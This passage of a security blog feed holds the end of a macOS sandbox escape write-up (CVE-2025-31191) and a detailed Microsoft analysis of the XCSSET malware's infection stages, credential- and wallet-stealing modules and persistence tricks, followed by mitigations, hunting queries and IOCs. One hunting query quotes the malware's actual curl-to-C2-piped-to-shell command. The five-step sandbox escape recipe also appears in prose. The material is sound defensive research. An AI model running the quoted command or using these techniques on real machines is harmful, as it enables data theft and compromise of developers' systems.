  2. Calculate the cryptographic key for an app since its bundle ID is known (key = HMAC-SHA256(knownSecret, [bundle-id])).
  3. Artificially sign new entries in the persistent scoped bookmarks PLIST file that is accessible since it persists in the Containers directory.
  4. Invoke GrantAccessToMultipleFiles, which sends the newly self-signed bookmarks to ScopedBookmarkAgent. Since ScopedBookmarkAgent uses the new secret, the bookmarks are considered authentic, and therefore ScopedBookmarkAgent grants the sandboxed app the access token without user interaction.
  5. Use the new arbitrary file access capability to escape the macOS sandbox.

As corroborated by our research, this exploit works against any sandboxed app that uses security-scoped bookmarks and is therefore a generic macOS sandbox escape.

Strengthening device security through vulnerability management and threat intelligence sharing

Security technologies such as the macOS App Sandbox are designed to protect the device from malware and other cybersecurity threats, both as a default security measure and a final safeguard. Nonetheless, attackers continue to find new ways of breaking through these defenses for these same reasons, as they can gain full access to the device and run any files or processes they want without being detected by conventional security solutions.

Our research on the CVE-2025-31191 vulnerability highlights why organizations need a security solution like Microsoft Defender Vulnerability Management that enables them to identify and remediate vulnerabilities and misconfigurations on devices in real time and prioritize those in need of immediate attention. Additionally, Microsoft Defender for Endpoint detects and alerts on anomalous device activities using advanced behavioral analytics and machine learning. In this case, Microsoft Defender for Endpoint detects sandboxed apps controlling security keys that normally are not accessed by those apps. Moreover, in the context of our exploit, Defender for Endpoint detects such behavior as suspicious and blocks the activity, rendering the exploit unusable.

Screenshot of Microsoft Defender for Endpoint detection the exploit with the alert Suspicious Keychain item manipulation
Figure 6. Detection of the exploit

Lastly, this research emphasizes the value and necessity of responsible disclosure and collaboration throughout the security community. Vulnerability discoveries, cooperation between security researchers and vendors, and coordinated response across the security community are all paramount to defend against the ever-growing and ever-changing threats across platforms. These activities, along with other forms of threat intelligence sharing, strengthen and enhance our security technologies to help safeguard users across platforms and devices.

Learn how Microsoft Defender for Endpoint delivers a complete endpoint security solution across all platforms.

Jonathan Bar Or

Microsoft Threat Intelligence

References

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://x.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Analyzing CVE-2025-31191: A macOS security-scoped bookmarks-based sandbox escape appeared first on Microsoft Security Blog.

]]>
New XCSSET malware adds new obfuscation, persistence techniques to infect Xcode projects http://approjects.co.za/?big=en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/ Tue, 11 Mar 2025 16:00:00 +0000 http://approjects.co.za/?big=en-us/security/blog/?p=137842 Microsoft Threat Intelligence has uncovered a new variant of XCSSET, a sophisticated modular macOS malware that infects Xcode projects, in the wild. Its first known variant since 2022, this latest XCSSET malware features enhanced obfuscation methods, updated persistence mechanisms, and new infection strategies. These enhanced features help this malware family steal and exfiltrate files and system and user information, such as digital wallet data and notes, among others.

The post New XCSSET malware adds new obfuscation, persistence techniques to infect Xcode projects appeared first on Microsoft Security Blog.

]]>
September 25, 2025 update: Microsoft Threat Intelligence has identified yet another XCSSET variant in the wild that introduces further updates and new modules: XCSSET evolves again: Analyzing the latest updates to XCSSET’s inventory.


Microsoft Threat Intelligence has uncovered a new variant of XCSSET, a sophisticated modular macOS malware that infects Xcode projects, in the wild during routine threat hunting. Its first known variant since 2022, this latest XCSSET malware features enhanced obfuscation methods, updated persistence mechanisms, and new infection strategies. These enhanced features help this malware family steal and exfiltrate files and system and user information, such as digital wallet data and notes, among others.

XCSSET is known for infecting Xcode projects and runs while an Xcode project is being built. Since Xcode is typically used by software developers, we assess that the malware’s mode of infection and propagation leverages on the idea that project files are shared among developers building Apple or macOS-related applications.

While it has resemblances to older XCSSET variants, this new variant is characterized by its modular approach and encoded payloads. It also has improved error handling, and heavily uses scripting languages, UNIX commands, and legitimate binaries. These characteristics allow the malware to have a low profile on an affected device and even remain fileless whenever possible, thus making its detection and removal more challenging.

At the code level, the new XCSSET variant obfuscated its module names, making it difficult to determine the modules’ intent during static analysis. Its enhanced obfuscation techniques extend to its randomized approach for generating payloads to infect Xcode projects and for encoding its payloads. In addition, while older XCSSET variants only used xxd (hexdump) for encoding, the latest one also incorporates Base64. Other notable capabilities of this new variant include its three distinct persistence techniques, which ensure its payload launches whenever a new shell session is initiated or whenever a user is tricked into opening a fake Launchpad application or makes commits in Git, and a new infection method for where the malware places its payload in a target Xcode project. Our analysis also revealed that there are some modules in this new variant’s code that appear to be under development. Its command-and-control (C2) server is also active as of this writing and is downloading additional modules.

In this blog, we discuss how this variant’s different modules work together in achieving the malware’s goals. As part of Microsoft’s commitment to work with the security community to mitigate threats and improve security for all, we have shared these findings with Apple, who acknowledged and thanked us for the information. While we’re only seeing this new XCSSET variant in limited attacks as of this writing, we’re sharing our comprehensive analysis and providing best practices and recommendations more broadly so users and organizations can protect themselves against this threat.

Analyzing the latest XCSSET variant

The new XCSSET variant generally follows a four-stage infection chain, with the fourth-stage payload running various sub-routines. The following sections provide detailed descriptions of each of these modules.

First stage: Xcode shell payload

The payload referenced in this stage gets launched when a user unknowingly builds an infected Xcode project. This obfuscated payload passes through three iterations of a hex decoder and is then piped—or served as input—to shell.

A screenshot of a computer code
Figure 1. Obfuscated first-stage shell payload

The decoded payload simply makes a curl request to a C2 server, https[:]//bulknames[.]ru/a. The response it receives is then piped to shell.

Second stage: Obfuscated shell command

This payload, which was downloaded by the first-stage shell, collects the affected user’s device operating system information, which it then sends to the C2 server along with a default identifier/tag to download an additional payload. It then pipes the downloaded payload to the shell for execution.

A screenshot of a computer code
Figure 2. The second-stage command sent to the C2 server

Third stage: Downloaded shell payload

This stage again involves a shell script that first checks if the device’s version of XProtect, the built-in antivirus in macOS, is less than 5287. This check is done by running the command “xprotect version” and reading the Info.plist file of the XProtect bundle.

A screenshot of a computer code
Figure 3. Third-stage shell script

The script then checks and stops any of the referenced processes in Figure 3 and any running osascript processes. It then calculates the date and searches for a hidden file named .a in the home folder. If it finds the file, it updates the said file; otherwise, it creates a new file with the date and other counters/markers.

The script then deletes any existing references to /tmp/l.app and creates a new one. It then downloads another script from the C2 server and saves it at the location /tmp/b. Next, it creates an AppleScript compiled application using osacompile. This AppleScript payload launches the downloaded /tmp/b script.

The script then uses the plutil command to modify the Info.plist file of the created AppleScript application to enable the LSUIElement key. Enabling this key hides the application from the Dock, effectively making the application more of a background process. Finally, the script runs the application in the background, sleeps for 10 seconds, and removes the created application and the /tmp/b script.

Fourth stage: AppleScript payload (/tmp/b or looz)

The fourth stage involves the execution of the created AppleScript application, which essentially runs a shell command. This command passes a Base64-encoded blob through several iterations of a Base64 decoder to obtain the final script, which is subsequently executed.

A screenshot of a computer code
Figure 4. Base64-encoded fourth-stage AppleScript payload

The decoded script is another AppleScript that first parses the com.apple.launchservices.secure.plist file to determine the default browser for https URLs. It searches for the “https” URL scheme and extracts the corresponding browser’s bundle identifier. The script has explicitly set the variable to “Safari (com.apple.safari)” by default.

The script then fetches the following system information, which it sends to the C2 server as a single string:

  • macOS version
  • Safari version
  • User locale
  • Firewall status
  • System Integrity Protection (SIP) status
  • CPU information

The script also overrides the default log() function so that it can send logs to the C2 server—a capability that can also be seen across the various sub-modules the script launches. The next section provides more information about the sub-modules the script downloads from the C2 server as of this writing.  

The script then checks if the user name is “demo,” possibly to verify if the user account belongs to the threat actor. If the user name checks out, the script processes a specific module, cozfi_xhh, and returns. It also checks the device serial number and exits if the value contains “JV3Q” in it. Next, it calls the boot() function repeatedly with multiple obfuscated module names.

A screenshot of a computer code
Figure 5. The boot() function of the AppleScript payload

The boot() function has multiple filters with predefined logic and handlers for the module names passed in the argument. In case the module name doesn’t pass any filter, a code in the boot() function downloads an AppleScript that is then launched directly to avoid any artifacts on the disk. Depending on the wait flag passed to this function, the newly downloaded AppleScript is run in either background or foreground.

Sub-modules

The sub-modules that the fourth-stage script downloads follow the similar format where a Base64-encoded blob is passed through multiple iterations of a Base64 decoder before being launched directly.

A screenshot of a computer code
Figure 6. Format of the encoded sub-modules

seizecj (Steals system information)

This sub-module exfiltrates system information to the C2 server. The information it retrieves includes:

  • Applications list
  • System applications list
  • User level LaunchAgents list
  • XProtect version
  • Malware Removal Tool (MRT) version

fpzfcieoci (Lists browser extensions)

This sub-module searches for and lists down the various internet browser extensions it finds installed on the affected device. It has a predefined list of search strings that correspond to the folder paths and files of the browsers that it searches for:

A screenshot of a computer code
Figure 7. Browser’s path list

This sub-module processes each path individually to search for specific files and extracts metadata about the browser extensions. For example, for Firefox, it extracts lines containing “extensions.webextensions.ExtensionStorageIDB” from the file prefs.js file. For the other browsers, it searches the manifest.json file and extracts the lines containing either “default_title” or “name”. It then stores the extension list in a log file named /tmp/out.txt and uploads this file to the C2 server.

hxasoxtfd (Downloads an additional module)

This sub-module is a downloader that requests a module name from the C2 server every 120 seconds.

A screenshot of a computer code
Figure 8. doMain() function of the module

If a module name is received from the C2 server, the system proceeds to call the boot() function with the received module name. This function includes filters on the module name, similar to those observed in the parent (fourth-stage) payload. In case the filters don’t pass, this sub-module proceeds to download and launch directly the payload received from the C2, again to avoid any artifacts on the disk.

txzx_vostfdi (Steals digital wallet data from browsers)

This sub-module first sends a request to retrieve a path list from the C2 server. The following screenshot is an example of a path list received from the C2:

A screenshot of a computer code
Figure 9. Path list received from C2 server

Based on the specified paths, this sub-module appears to search for many cryptocurrency digital wallet extensions across various browsers and their directories. This information is primarily determined by examining the identifiers, such as the following:

Digital wallet extensionIdentifier
MetaMasknkbihfbeogaeaoehlefnkodbefgpgknn
ejbalbakoplchlghecdalmeeeajnimhm
TokenPocketmfgccjchihfkkindfppnaooecgfneiii
TronLinkibnejdfjmmkpcnlpebklmnkoeoihofec 
BNB Chain Walletfhbohimaelbohpjbbldcngcnapndodjp
Phantom Walletbfnaelmomeimhlpmgjnjophhpkkoljpa

This sub-module archives the collected data, which it then sends back to the C2 server.

hfdieiz (Establishes persistence)

This sub-module establishes persistence through two different methods, zshrc and Dock, which will be discussed in the following sections. It first creates a folder named com.apple.finder in the ~/Library/Caches/ directory.

This sub-module generates payload by randomly selecting a C2 server from a predefined list and selecting an encoding method, which is either Base64 or xxd. It then chooses the number of iterations required to encode or decode the payload. The final encoded payload is then generated and returned. The argument received in the function is placed as a marker at “p=” in the payload request.

A screenshot of a computer code
Figure 10. Payload generation function of the persistence sub-module

zshrc method

In this persistence method, the sub-module first checks the value of the RESTORE_DEFAULT global variable. If the value is set to “True”, the sub-module deletes the ~/.zshrc_aliases file; otherwise, it retrieves the payload body and saves it to the ~/.zshrc_aliases file. The subsequent payload involves verifying the existence of the .zshrc_aliases file and executing it if it is present. The script then ensures that the ~/.zshrc file exists. It searches for the presence of the string “.zshrc_aliases” within this file and appends the final payload if it is absent. This persistence method guarantees the execution of the payload whenever a new shell session is created.

A screenshot of a computer code
Figure 11. zshrc persistence method

Dock method

In this persistence method, the sub-module first downloads a signed dockutil tool from the C2 server. This tool is mainly used to manage dock items, such as adding, deleting, and updating entries. The sub-module then gets the list of dock items and searches for Launchpad in it. If it finds an entry, it proceeds to call the processItem function, which then creates a fake Launchpad application in the ~/Library/Caches/com.apple.finder folder.

A screenshot of a computer code
Figure 12. Creation of the fake Launchpad application and file URI replacement

The processItem function proceeds to get the corresponding payload application body from getPayloadForApp() function, which then initially verifies whether the passed application name is “Launchpad.” If it is, then the payload body for Launchpad is retrieved using the getPayloadBody() function.

In the getPayloadForApp() function, the final payload is configured to first invoke the legitimate Launchpad application and then launch the generated malicious payload. The final payload body is then returned to the processItem function.

A screenshot of a computer code
Figure 13. Function to create payload for the application

The processItem function also has a logic to update the persisted payload in case it is already found on the device. If the device has no prior infection, the function first compiles an AppleScript payload to an application with the “run-only” flag. This flag could make it challenging to reverse engineer the code and evade static analysis. The function then saves the payload to a file in the parent directory. Next, it checks if the application name is “Launchpad” and, if it is, modifies the Info.plist file’s entries to enable the LSUIElement key and update CDBundleDisplayName. It then downloads InfoPlist.locatable and Launchpad’s icon from the C2 server, replaces the created application’s icon with it, and performs an ad-hoc signing on the application.

Finally, the processItem function uses the dockutil binary to replace the existing Launchpad entry with the fake Launchpad’s application path. It does this by replacing the file URI entry of the legitimate Launchpad application with the fake one. These steps ensure that every time the user starts Launchpad from the dock, the malicious created application is launched, which then runs both the legitimate Launchpad and the generated payload.

cozfi_xhh (Steals notes from the Notes application )

This sub-module steals notes from the affected device’s Notes application through a JavaScript payload.

It initializes a variable named permissionApp to path to /Applications/Reminders.app, where the fake Reminders application is created, and to /Applications/Reminders.app/Notes/, where the stolen notes are saved. It is important to note that the legitimate Reminders application can be found in the /System/Applications directory. The sub-module then removes the Notes folder if it exists inside the fake Reminders application. It also checks for the presence of the fake Reminders application on the device and creates one if it’s not present.

A screenshot of a computer code
Figure 14. Creation of AppleScript-compiled application to launch a malicious JavaScript payload that steals notes

This sub-module creates an AppleScript-compiled application with the flag set to “Run only.” This application’s script launches the /tmp/.n file using osascript. The sub-module then downloads an icon file from the C2 server. Next, it modifies the Info.plist file by updating the CFBundleDisplayName and CFBundleExecutable and enabling the LSUIElement key. Finally, it performs an ad-hoc signing for this newly created application.

After the creation of the application, the sub-module checks the global variable FORCED flag, which is set to “False” by default in the script. If the FORCED flag is set to “True”, the sub-module calls the exec function directly. Otherwise, it first sends a request to the C2 server to obtain a folder list. The code expects to receive “notes_app” in the response. If this application is present, it enters a loop, waiting for the Notes application to start before calling the exec function. The exec function then subsequently calls the runloop function.

The runloop function first sets the payload, which is basically a JavaScript code. Meanwhile, the run() function of the JavaScript payload first checks and connects to the Notes application present in the Systems directory, retrieves all notes, and saves each note’s contents, creation date, and modification date into an HTML file in the Notes folder within the Reminders application created previously.

A screenshot of a computer code
Figure 15. JavaScript payload that steals notes from the affected device

The sub-module saves the JavaScript payload into the /tmp/.n file. It then launches the Reminders application to run the said payload. It checks for the existence of Notes folder and, if absent, retries up to three times by resetting the Transparency, Consent, and Control (TCC) database for AppleEvents before deleting the created Reminders application. If the Notes folder exists, it returns a “200” code. When the sub-module’s parent function receives the said “200” code, it archives the Notes folder within the created fake Reminders application and exfiltrates it to the C2 server.

A screenshot of a computer code
Figure 16. Retry method of resetting TCC database

Modules listed under finderModules list in boot() function

In the boot() function of the fourth-stage AppleScript module, there is a specific handler code for certain modules found under the finderModules list.

A screenshot of a computer code
Figure 17. Handler for modules defined in finderModules list

Figure 17 shows how the fourth-stage payload downloads the module passed to the boot() function into the /tmp/.f file. It then calls the boot() function again with a specific module named vectfd_xhh.

Let’s first look at the common module invoked for each of the other modules on the list.

vectfd_xhh (Launches application for modules)

In this module, the doMain() function checks the existence of either Xcode or Git. If either application is found, several global variables are set with a certain application’s display name, file path, and icon name.

A screenshot of a computer code
Figure 18. Selection of launcher application for creation

If neither application is present, the module defaults to Finder.app. Subsequently, the doInstall() function is called for each case. It should be noted that the legitimate Finder and Terminal applications are located in the /System/Applications/ folder and not in /Applications/.

In the doInstall() function, the existence and version of the fake application in context is first checked. If the fake application isn’t present or is outdated:

  • If the current process in context is Xcode or Finder, the module waits for the corresponding legitimate application to launch first before calling the createLoop() function
  • If the current process in context is Terminal, the module directly calls the createLoop() function

The createLoop() function deletes any prior existence of the application before creating the fake one. The created application is AppleScript-compiled with the flag set to “Run only,” and it executes a script located at /tmp/.i. Similar to the previous fake application-creating modules, the created application’s icon and plist entries are modified, and is ad-hoc signed.

A screenshot of a computer code
Figure 19. Payload of the launcher application that launches the main module to be executed

The module then calls the runAppFile() function. This function first sets a payload where it attempts to get a listing of the user’s directories, possibly to check TCC permissions. If the command succeeds, this function deletes any existing error file (/tmp/.e); otherwise, it creates the file. The payload then launches the /tmp/.f file that was downloaded in the parent (fourth-stage) module.

Next, the runAppFile() function saves the payload it set initially in the /tmp/.i file and launches the created application. This created application in turn launches the /tmp/.i file, which, in turn, also executes the /tmp/.f file.

If the directory listing command isn’t successful, the error file is created. If this error file exists, the function returns code “403”. If the parent function receives this code, it retrieves the CFBundleIdentifier of the created application, resets the TCC database for that bundle ID, and calls the createLoop() function again.

dfhsebxzod (Infects Xcode projects)

This module, which is launched by the launcher module vectfd_xhh, is designed to infect Xcode projects located on the target device. It initially retrieves the user’s home directory and subsequently invokes two distinct functions to search and process files.

A screenshot of a computer code
Figure 20. Searching Xcode projects in a target folder

The first function searches for xcodeproj directories, excluding certain specified directories. The other function downloads a binary, presumed to be a 7-Zip binary, from the C2 server. It then searches the HOME folder, excluding specified directories, for .zip files. When it finds these .zip files, it scans the archive listing for “xcodeproj.” If it finds this entry, the module contains a logic to extract the project files, modify them, and update the archive with the modified files.

For both functions, each directory or file match triggers a subsequent function that searches for a .pbxproj file within the given directory. This new function then randomly selects one of three infection methods: RULE, TARGET, or FORCED_STRATEGY. The infection method determines how the payload will be placed and referenced in the .pbxproj file.

An example infection method that wasn’t mentioned in previously published research is part of FORCED_STRATEGY method. This method includes the use of TARGET_DEVICE_FAMILY variable under Build Settings, which contains the generated payload.

A screenshot of a computer program
Figure 21. FORCED_STRATEGY method of infecting a pbxproj file

Next, it adds a PBXShellScriptBuildPhase in the .pbxproj file where the payload will be present in the shellScript key.

The payload generation was done in a separate function where it first defines three specific domains and randomly selects one from them. It uses either the xxd or Base64 encoding method, also chosen at random.

A screenshot of a computer code
Figure 22. Function to generate a payload that infects a pbxproj file

This method also selects a random value between 2 and 5 to determine the number of iterations for encoding/decoding. The first payload includes an encoded curl request to the specified C2 server, the output of which is piped to the shell for execution. The final payload, which consists of the above encoded data and a decoding string, is also piped to shell for execution.

jez (Establishes persistence through Git commits)

This module attempts to establish persistence by incorporating its payload into the pre-commit hooks within the .git directory of projects located on the device.

A screenshot of a computer code
Figure 23. Infection of hooks/pre-commit file in Git’s directory

It searches for .git folders the in the user’s home directory and sub-directories using the find command. It searches up to six levels of sub-directories and excludes those named Movies, Library, Music, and Pictures. For each .git directory found, this module checks for the presence of the hooks/pre-commit file within those directories. If it finds the file, it removes any existing payload content and appends the newly created payload.

If the module doesn’t find the pre-commit file, it creates the file and writes the payload within it. The process for generating the payload is similar to the zshrc and Dock persistence techniques discussed in the previous sections of this blog. This persistence method ensures the execution of the payload upon each commit action in the project.

File/Data exfiltration modules assessed to be in development

uhsoxtfd_vostfd (Directory uploader)

This module is designed to exfiltrate files from a specified target folder. It appears to be in the development phase as of this writing because the specified target folder is currently set to ~/Desktop/test.

This module first verifies the existence of the target folder and exits if it can’t find the said folder. Otherwise, it lists the folder’s contents to test access permissions. If access is denied, the module runs a recursive loop to reset the TCC database for directories such as Desktop, Downloads, and Documents.

Once folder access is granted, the module archives the folder, excluding certain files such as links, patterns listed in the exclusion list, and files exceeding a specified size. It then uploads the created archive to a C2 server. Once the exfiltration is complete, the module deletes the archive.

fpfb (Directory listing)

This module runs a predefined command and uploads the result of the said command back to the C2 server. Currently, the command is set to “ls -la ~/Desktop”, which lists the files and directories in the user’s Desktop folder.

vectfd (Specific files exfiltration)

This module retrieves files that match the pattern defined in the INAME_QUERY variable within the user’s home directory. Currently, it searches for files with the pattern “*test.txt,” which indicates that the module might be under development. It also excludes files located in certain directories and files that exceed its size restrictions. The module then creates an archive of the files it retrieves, sends the archive to a C2 server, and deletes the archive.

Mitigation and protection guidance

Defenders can take the following mitigation steps to defend against this threat:

  • Run the latest version of your operating systems and applications. Deploy the latest security updates as soon as they become available.
  • Always inspect and verify Xcode projects downloaded or cloned from repositories, as the malware usually spreads through infected projects.
  • Encourage users to use web browsers that support Microsoft Defender SmartScreen like Microsoft Edge—available on macOS and various platforms—which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware.
  • Use Microsoft Defender for Endpoint on Mac, which detects, stops, and quarantines the malware discussed in this blog

Microsoft Defender for Endpoint customers can also apply the following mitigations to reduce the environmental attack surface and mitigate the impact of this threat and its payloads:

  • Turn on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.
  • Enable potentially unwanted application (PUA) protection in block mode to automatically quarantine PUAs like adware. PUA blocking takes effect on endpoint clients after the next signature update or computer restart. PUA blocking takes effect on endpoint clients after the next signature update or computer restart.
  • Turn on network protection to block connections to malicious domains and IP addresses.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects this threat as the following malware:

  • Trojan:MacOS/XCSSET.SC
  • Trojan:MacOS/XCSSET.SE
  • Trojan:MacOS/XCSSET.ST

Defender Antivirus detects multiple sub-modules of this threat as the following:

  • Trojan:MacOS/XCCSET.SE
  • Trojan:MacOS/XCCSET.SF
  • Trojan:MacOS/XCCSET.SG
  • Trojan:MacOS/XCCSET.SI
  • Trojan:MacOS/XCCSET.SJ

Defender Antivirus also detects the following specific modules of this threat:

  • Trojan:MacOS/XCCSET.SK – dfhsebxzod
  • Trojan:MacOS/XCCSET.SH – fpzfcieoci
  • Trojan:MacOS/XCCSET.SD – hfdieiz

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alerts can indicate associated threat activity:

  • Possible XCSSET activity

The following alerts might also indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity:

  • Suspicious script launched
  • System information discovery
  • Network connection by osascript
  • Possible content exfiltration
  • Suspicious file or content ingress

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following queries to find related activity in their networks:

Suspicious commands while building an Xcode project

Search for suspicious commands related to this threat when an Xcode project is being built.

DeviceProcessEvents 
| where ProcessCommandLine has_all("echo", "xxd -p -r", "| sh") or ProcessCommandLine has_all("echo", "base64 -d", "| sh")
| where InitiatingProcessFileName has_any ("sh", "bash", "zsh") 
| where InitiatingProcessCommandLine contains "/Developer/Xcode/DerivedData"

Suspicious payload patterns

Search for suspicious payload patterns related to this threat.

DeviceProcessEvents 
| where ProcessCommandLine has_all("echo", "xxd -p -r", "| sh") or ProcessCommandLine has_all("echo", "base64 -d", "| sh") 
| where InitiatingProcessFileName has_any ("sh", "bash", "zsh")

Microsoft Sentinel 

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace. 

Search for command lines making first contact to C2 server or for command lines stopping Xcode, Terminal, or Finder applications:

union DeviceFileEvents, DeviceProcessEvents
  | where Timestamp >= ago(90d)
  | where ProcessCommandLine contains 'curl -fskL -d "https://bulknames.ru/a" | sh >/dev/null 2>&1 &'
  or ProcessCommandLine has "ps aux | grep -E '/Applications/(SimulatorTrampoline|Terminal|Finder).app' | grep -v grep | awk '{print $2}' | xargs kill -9 &/dev/null || true"

Check for communications with network indicators of compromise (IOCs):

let c2cdomains = dynamic(["bulknames.ru","castlenet.ru","chaoping.ru","devapple.ru",
"gigacells.ru","gizmodoc.ru","trixmate.ru","itoyads.ru","rigglejoy.ru","rutornet.ru",
"sigmate.ru","vivatads.ru","figmasol.ru"]);
DeviceNetworkEvents
| where RemoteUrl in (c2cdomains)
| project TimeGenerated, DeviceId, DeviceName, Protocol, LocalIP, LocalIPType, LocalPort,RemoteIP, RemoteIPType, RemotePort, RemoteUrl

Check for infected file or script IOCs:

let selectedTimestamp = datetime(2025-01-01T00:00:00.0000000Z); 
let FileSHA256 = dynamic(["d338dc9a75a14753f57399815b5d996a1c5e65aa4eb203222d8c85fb3d74b02f","56670f51f94080f1ae45f2a433767f210f290835bf582e1a2e1876f1028832de",” f67e2a27f0d1a4667b065ab05f884ff881eb7627e9d458f97f2204647b339c6e”
"","25d226d5cb0c74ed5b1b85f12d53a4c2de2147ff464b2a35db03987015b11e24",
"c2a7970216576a6b8f74528ffcfa51aa2b72b7f3e4237d97715b1b5ba80b25ca","8cec3c106659709017bb253becf68296c7bf13e76fa92b4450c281003d225645",
"ea90c72e67f1c9a9231732119576a7dcb29471f7da428866187d4326e78097f2","ff83f53a383ba3f1d6b002006adf16a7f0b3263185d56cb70104889874d67c5d","cc37a01d3351b3c166f04aec6f52849e909b0b9c8d55095d730c660691b1ba66"]); 
search in (AlertEvidence,BehaviorEntities,CommonSecurityLog,DeviceBaselineComplianceProfiles,DeviceEvents,DeviceFileEvents,DeviceImageLoadEvents, 
DeviceLogonEvents,DeviceNetworkEvents,DeviceProcessEvents,DeviceRegistryEvents,DeviceFileCertificateInfo,DynamicEventCollection,EmailAttachmentInfo,OfficeActivity,SecurityEvent,ThreatIntelligenceIndicator) 
TimeGenerated between ((selectedTimestamp - 1m) .. (selectedTimestamp + 90d)) // from January 1st runs the search for 90 days, change the selectedTimestamp above or 90d accordingly. 
and  
(SHA256 in (FileSHA256) or InitiatingProcessSHA256 in (FileSHA256))

Indicators of compromise

IndicatorTypeDescription
bulknames[.]ruDomainC2 server
castlenet[.]ruDomainC2 server
chaoping[.]ruDomainC2 server
devapple[.]ruDomainC2 server
gigacells[.]ruDomainC2 server
gizmodoc[.]ruDomainC2 server
trixmate[.]ruDomainC2 server
itoyads[.]ruDomainC2 server
rigglejoy[.]ruDomainC2 server
rutornet[.]ruDomainC2 server
sigmate[.]ruDomainC2 server
vivatads[.]ruDomainC2 server
figmasol[.]ruDomainC2 server
~/Library/Caches/com.apple.finderFile pathA fake Launchpad application is created in this directory
/Applications/SimulatorTrampoline.appFile pathLauncher application that runs additional modules found under the finderModules list
/Applications/Reminders.appFile pathFake Reminders application
/Applications/Reminders.app/Notes/File pathDirectory where the malware stores the stolen notes from the Notes application
/Applications/Terminal.appFile pathLauncher application that runs additional modules found under the finderModules list
/Applications/Finder.appFIle pathLauncher application that runs additional modules found under the finderModules list
d338dc9a75a14753f57399815b5d996a1c5e65aa4eb203222d8c85fb3d74b02fSHA-256tmp/b or looz (fourth-stage payload)
56670f51f94080f1ae45f2a433767f210f290835bf582e1a2e1876f1028832deSHA-256/tmp/.n (JavaScript payload)
f67e2a27f0d1a4667b065ab05f884ff881eb7627e9d458f97f2204647b339c6eSHA-256dfhsebxzod module (infects Xcode projects)  
25d226d5cb0c74ed5b1b85f12d53a4c2de2147ff464b2a35db03987015b11e24SHA-256jez module (establishes persistence through Git commits)
c2a7970216576a6b8f74528ffcfa51aa2b72b7f3e4237d97715b1b5ba80b25caSHA-256uhsoxtfd_vostfd module (directory uploader)
8cec3c106659709017bb253becf68296c7bf13e76fa92b4450c281003d225645SHA-256fpfb module (directory listing)
ea90c72e67f1c9a9231732119576a7dcb29471f7da428866187d4326e78097f2SHA-256vectfd module (specific files exfiltration)
ff83f53a383ba3f1d6b002006adf16a7f0b3263185d56cb70104889874d67c5dSHA-256p (Dock persistence payload)
cc37a01d3351b3c166f04aec6f52849e909b0b9c8d55095d730c660691b1ba66SHA-256.zshrc_aliases file

MITRE ATT&CK techniques observed

Technique IDTechnique name
T1195.001Supply Chain Compromise: Compromise Software Dependencies and Development Tools
T1059.002Command and Scripting Interpreter: AppleScript
T1059.007Command and Scripting Interpreter: JavaScript
T1059.004Command and Scripting Interpreter: Unix Shell
T1546.004Event Triggered Execution: Unix Shell Configuration Modification
T1560Archive Collected Data
T1005Data from Local System
T1041Exfiltration Over C2 Channel
T1083File and Directory Discovery
T1222.002File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification
T1564.001Hide Artifacts: Hidden Files and Directories
T1105Ingress Tool Transfer
T1036.005Masquerading: Match Legitimate Name or Location
T1647Plist File Modification
T1518Software Discovery
T1082System Information Discovery
T1614.001System Location Discovery: System Language Discovery
T1548.006Abuse Elevation Control Mechanism: TCC Manipulation
T1140Deobfuscate/Decode Files or Information
T1564.003Hide Artifacts: Hidden Window
T1070.004Indicator Removal: File Deletion
T1027.004Obfuscated Files or Information: Compile After Delivery
T1027.013Obfuscated Files or Information: Encrypted/Encoded File
T1217Browser Information Discovery
T1518.001Software Discovery: Security Software Discovery
T1033System Owner/User Discovery

References

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://x.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post New XCSSET malware adds new obfuscation, persistence techniques to infect Xcode projects appeared first on Microsoft Security Blog.

]]>
Analyzing CVE-2024-44243, a macOS System Integrity Protection bypass through kernel extensions http://approjects.co.za/?big=en-us/security/blog/2025/01/13/analyzing-cve-2024-44243-a-macos-system-integrity-protection-bypass-through-kernel-extensions/ Mon, 13 Jan 2025 17:00:00 +0000 Microsoft discovered a macOS vulnerability allowing attackers to bypass System Integrity Protection (SIP) by loading third party kernel extensions, which could lead to serious consequences, such as allowing attackers to install rootkits, create persistent malware, bypass Transparency, Consent, and Control (TCC), and expand the attack surface to perform other unauthorized operations.

The post Analyzing CVE-2024-44243, a macOS System Integrity Protection bypass through kernel extensions appeared first on Microsoft Security Blog.

]]>
